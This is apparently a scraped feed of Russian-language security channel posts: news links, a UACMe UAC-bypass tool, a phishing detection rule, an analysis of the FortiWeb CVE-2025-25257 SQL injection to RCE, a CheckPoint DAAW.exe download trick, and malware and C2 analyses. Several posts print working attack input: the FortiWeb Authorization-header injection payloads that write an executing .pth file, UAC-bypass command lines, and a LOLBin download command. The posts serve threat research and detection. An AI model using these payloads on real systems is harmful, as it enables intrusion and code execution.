Fsecurity | HH

#Мем

🔗Ссылка: https://opennet.ru/63577/

🔗Ссылка: https://blog.deteact.ru/kak-odin-zabytyj-fajl-privel-k-komprometaczii-infrastruktury/

🔗Ссылка: https://www.securitylab.ru/blog/personal/Technolady/355826.php

🔗Ссылка: https://habr.com/ru/articles/927220/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://www.securitylab.ru/news/561313.php

🛡️ UACMe v3.6.9 Различные техники обхода 🛡 UAC

Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor. This project demonstrates various UAC bypass techniques and serves as an educational resource for understanding Windows security mechanisms.

Использование:

akagi32.exe [Method_Number] [Optional_Command]
akagi64.exe [Method_Number] [Optional_Command]

akagi32.exe 23
akagi64.exe 61
akagi32.exe 23 c:\windows\system32\calc.exe
akagi64.exe 61 c:\windows\system32\charmap.exe

Собирать в 💻 Visual Studio 2019+ 💻 Repo #windows #uac #redteam ✈️ Whitehat Lab 💬Chat

FormSpark.io weapoinzed by cyber criminals 👾 В ходе исследований фишинга стал чаще натыкаться на данный сервис, который активно используется кластерами активности Phishing-as-a-Service и Initial Access Brokers для сбора паролей учетных записей 💃 Письмо прилетает в формате HTML с мимикрией под сервисы Microsoft (Excel, Sharepoint, Word) с просьбой ввести учетные данные пользователя чтобы просмотреть файл 🇿🇼 Пароли утекают не на сервисы Microsoft, а на условно-легитимный ресурс submit-form[.]com как собиралка кредов и редирект на другой веб сайт 🎩 Ниже описал способ детекта на основе логов DNS Detection rule 🛡

dns.question.name: "submit-form.com" and source.ip: * and not "8.8.8.8"

🔗 Research: https://decoded.avast.io/threatresearch/avast-q3-2023-threat-report/ Happy hunting 😎 🧢 s0ld13r

Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector Опубликованы технические детали и эксплоит для уязвимости CVE-2025-25257 (оценка по CVSSv3=9.6) в компоненте экосистемы Fortinet, именуемом FortiWeb Fabric Connector😜 Который обеспечивает автоматизированное взаимодействие между различными компонентами (FortiWeb WAF, FortiGate NGFW, FortiManager, FortiWhatever) согласно описанию продуктовой линейки Fortinet. По сути это классическая SQL-инъекция в функции get_fabric_user_by_token, которая обеспечивает аутентификацию для различных интеграций с FortiWeb API. Эта функция передает контролируемый атакующим char *a1 инпут в заголовок Authorization: Bearer %128s на эти ручки: GET /api/fabric/device/status HTTP/1.1 GET /api/v[0-9]/fabric/widget/[a-z]+ GET /api/v[0-9]/fabric/widget Host: fortiweb_ip Authorization: Bearer AAAAAA'or'1'='1 Далее не менее классический способ RCE в MySQL через INTO OUTFILE неожиданно запущенном от root🙈 А именно загрузка веб-шелла в cgi-bin веб-сервера Apache с хитрым трюком обхода ограничений запрета на перезапись исполняемых файлов через эту технику из исследования SonarSource: Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory: '/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth И обходом ограничения на 128-character limit в заголовке Authorization: Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth' Таким образом, получаем прекрасный отчет от исследователей из watchTowr с наглядным и понятным описанием технической эксплуатации уязвимостей с нотками тонкой иронии и интересным трюком, который можно взять на вооружение👍 ⚙️ POC: https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257 🪲 Уязвимые версии ПО: FortiWeb 7.6.0 до 7.6.3, FortiWeb 7.4.0 до 7.4.7, FortiWeb 7.2.0 до 7.2.10, FortiWeb 7.0.0 до 7.0.10 ✅ Рекомендации: Необходимо обновиться до последних актуальных версий

🔗Ссылка: https://www.yeswehack.com/learn-bug-bounty/recon-wayback-machine-web-archive

🔗Ссылка: https://opennet.ru/63545/

Немного Living off the Land в студию 😏 В ходе моего предыдущего небольшого ресерча и игр в консоли, наткнулся на интересный вектор доставки C2/нагрузок на хост через VPN клиент CheckPoint, при желании данный вектор можно зачейнить не попадаясь под внимание стандартных правил обнаружения и реализовать технику T1105 – Ingress Tool Transfer 🙏 В стандартном пути VPN клиента есть бинарник DAAW.exe, позволяющий скачивать файлы по аналогии с wget, его же и можно использовать как легитимный загрузчик 🎩 Powershell 👩‍💻

C:\Program Files (x86)\CheckPoint\Endpoint Connect\DAAW.exe downloadFile -url <URL> -fileName <PATH>

Detect 🛡

process.executable: "DAAW.exe" and process.command_line: "downloadFile"

P.S Детект больше как псевдокод, лучше адаптировать под сами СЗИ 🧢 s0ld13r

🛡 Application Attack Matrix — созданная сообществом MITRE-подобная матрица тактик, техник и процедур используемых злоумышленниками при атаках на веб-приложения. 🟡Матрица включает 41 технику, сгруппированную по 7 тактикам, которые, в свою очередь, организованы по 4 фазам атак на веб-приложения. 🟡В качестве основной причины создания отдельной матрицы заявляется то, что MITRE ATT&CK фокусируется на техниках, покрывающих инфраструктуру и конечные точки/технологии (ОС, сети, облака, мобильные устройства и контейнеры), "не заглядывая" на уровень веб-приложений. При этом в самой матрице описано половина техник, присутствующих в "материнской" матрице. 🟡Для каждой (ну почти) техники есть описание, возможные подтехники, примеры процедур, меры противодействия, методы обнаружения. 🟡Есть разбор (довольно неплохой) 24 "громких" атак (Regression,PyLoose, XZ-Utils Backdoor, и т.п.). 🟡Авторы обещают поддерживать и развивать проект. #mitre #matrix #appsec #application #ttp #mitigation

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

#Мем

🧪 When Installers Turn Evil: The Pascal Script Behind Inno Setup Malware Campaign ⚙️ Delivery: злоупотребление Inno Setup Малварь маскируется под инсталлятор: idp.dll — legit плагин idp.exe — 7za.exe (распаковка) ImageConverter.exe — фейк-декой .iss Pascal script: скрытый запуск, WMI-чек, скачивание архива 🛡 Anti-analysis & sandbox evasion XOR-обфускация строк (процессы, пользователи, модели VM) WMI-запросы: Win32_Process, Win32_ComputerSystem Проверка имён типа application_stable_release, detection VM/AV 🌐 Next-stage: rentry[.]org + TinyURL TinyURL → rentry[.]org (auth header rentry-auth) Ответ: ссылка на package.zip Распаковка: idp.exe x -p<password> (T1027.015) ⛓ Persistence через планировщик (T1053) Создание задачи: schtasks /Create /xml lang WhatsAppSyncTaskMachineCore /f Файл taskshostw.exe → %localappdata%\Programs\Common\ с hidden-атрибутами 💣 DLL sideloading → Shellcode → HijackLoader ScoreFeedbackTool.exe загружает троянизированный QtGuid4.dll Дешифруется periphyton.ics → shellcode Shellcode тянет HijackLoader из glucoprotein.php (PNG-like, XOR + LZNT1) Распаковка через RtlDecompressBuffer(), поиск IDAT-чанков 🧠 HijackLoader → MSBuild → RedLine Инжект в MSBuild.exe (T1127.001) Модификация .text в системных DLL Использует: Call Stack Spoofing, Hollowing, Heaven’s Gate Payload — RedLine Stealer (.NET) 🔍 RedLine Stealer Обфускация Constant unfolding (T1027.010) Браузеры (Chrome, Edge, Brave, Iridium, etc.) Расширения криптокошельков (MetaMask, Binance, TRONLink) Chrome с --no-sandbox, --user-data-dir (T1497) IE -extoff для загрузки страниц без расширений (T1562.001) WMI: OS, процессор, память, видео 🛡 Detection идеи (Splunk rules) 📍 Доступ к Chrome Local State из non-chrome процессов 🧱 Unsigned DLL sideloading 📅 Hidden scheduled tasks 🧩 Chrome с --no-sandbox и --user-data-dir 🧬 IE -extoff вызовы 🧩 Цепочка построена на легитимных инструментах — Inno, Pascal, 7za, WMI, MSBuild, DLL — для обхода детекта. Эффективный hunting требует поведенческого анализа, контроля сетевых запросов к paste-сервисам и runtime-анализа планировщика/библиотек. 🔗https://www.splunk.com/en_us/blog/security/inno-setup-malware-redline-stealer-campaign.html 🦔 THF

#Мем

🔗Ссылка: https://www.securitylab.ru/news/561284.php

Novel C2 abusing Exchange Web Services and Steganography 👾 Люблю нетривиальные реализации TA0011 Command and Control, особенно со стегой 🎩 Команда Unit 42 разобрали бэкдор RDAT, связанный с группой OilRig. В свежих сэмплах — новая C2-инфра и интересный флоу 🥳 Как работает: • Иcпользует API Exchange Web Service как C2 канал 📧 • Снижает WINHTTP_OPTION_AUTOLOGON_POLICY до Low → автологин на Exchange через креды текущего юзера 🪟 • Создаёт inbox rule → письма с C2 адресов летят в junk 🗑 • Мониторит спам и вытаскивает команды из BMP-вложений 🖼 📤 Эксфильтрация — тоже через BMP, упакованные в черновики и отправленные с заражённого хоста на почту оператора 🔗 Research: https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/ 🧢 s0ld13r